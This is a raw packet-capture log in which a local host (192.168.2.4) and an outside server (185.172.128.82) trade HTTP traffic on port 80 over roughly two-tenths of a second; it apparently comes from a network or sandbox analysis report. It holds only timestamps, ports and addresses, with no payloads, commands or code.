May 23, 2024 23:33:07.505204916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505234003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505851984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505886078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505907059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505918026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505944967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505953074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.505964994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.505985975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.506000996 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.506020069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.506061077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.506081104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.506663084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.506695986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.506751060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.575959921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576137066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.576195955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576235056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576256990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.576282978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.576419115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576453924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576472998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.576503992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.576631069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576666117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576687098 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.576699018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.576708078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.576775074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.577152014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.577188015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.577220917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.577223063 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.577244997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.577255011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.577263117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.577287912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.577299118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.577322960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.577337027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.577374935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.581459999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.581645012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.583436966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.583487988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.583530903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.583532095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.583630085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.583664894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.583683968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.583723068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.583729982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.583787918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.583879948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.583915949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.583937883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.583964109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584129095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584162951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584196091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584229946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584264040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584413052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584436893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584470987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584492922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584502935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584513903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584537983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584549904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584589005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.584791899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.584974051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.585002899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.585037947 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.585056067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.585069895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.585097075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.585122108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.585155964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.585171938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.585190058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.585201025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.585201025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.585264921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586144924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586220026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586226940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586277008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586375952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586410999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586441994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586442947 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586462975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586517096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586647987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586682081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586709976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586716890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.586731911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.586764097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587071896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587105036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587131023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587136984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587152958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587172985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587182999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587205887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587222099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587239981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587271929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587275028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587316036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587856054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587891102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587923050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587924957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587943077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587955952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.587968111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.587987900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588010073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588021040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588046074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588083029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588474035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588526011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588541031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588561058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588582039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588596106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588623047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588632107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588644028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588665962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588697910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588721037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.588732958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.588746071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589133024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589442015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589474916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589505911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589534044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589540005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589556932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589574099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589593887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589607954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589631081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589642048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589658022 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589678049 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.589700937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.589740038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591402054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591435909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591463089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591470003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591484070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591519117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591522932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591557026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591588974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591605902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591623068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591634035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591659069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591672897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591691971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591706038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591727018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591753006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591761112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591794014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591814995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591814995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591826916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591840982 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591862917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591895103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591914892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591914892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.591927052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.591973066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593503952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593537092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593561888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593569994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593580961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593602896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593636036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593655109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593668938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593674898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593703032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593719006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593738079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593751907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593789101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593811989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593825102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593835115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593858004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593867064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593892097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593905926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593924999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593939066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593960047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.593969107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.593992949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.594006062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.594027042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.594044924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.594058037 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.594070911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.594111919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.596558094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596590996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596622944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596647978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.596656084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596667051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.596690893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596709967 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.596724987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596733093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.596759081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596771002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.596792936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.596810102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.596847057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677267075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677316904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677351952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677386045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677418947 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677453041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677485943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677506924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677506924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677508116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677508116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677508116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677517891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677552938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677586079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677619934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677634954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677635908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677635908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677635908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677654028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677668095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677689075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.677700043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.677735090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.686791897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.686846018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.686877966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.686929941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.686963081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.686995029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.687005043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.687005043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.687005043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.687005997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.687027931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.687061071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.687089920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.687089920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.687094927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.687119961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.687139988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689527988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689562082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689594030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689609051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689610004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689632893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689676046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689676046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689693928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689730883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689764023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689796925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689829111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.689934969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689935923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689935923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.689935923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690011024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690045118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690071106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690077066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690095901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690112114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690123081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690145016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690166950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690177917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690198898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690222025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690222025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690227985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690263033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690294981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690323114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690326929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690356970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690376997 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690376997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690412045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690426111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690444946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690458059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690501928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690534115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690541983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690568924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690576077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690589905 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690609932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.690634012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.690676928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.692909956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.692945004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.692975998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693001986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693011045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693026066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693046093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693069935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693080902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693094015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693114042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693135023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693146944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693166971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693180084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.693192959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.693212986 CEST	80	49733	185.172.128.82	192.168.2.4
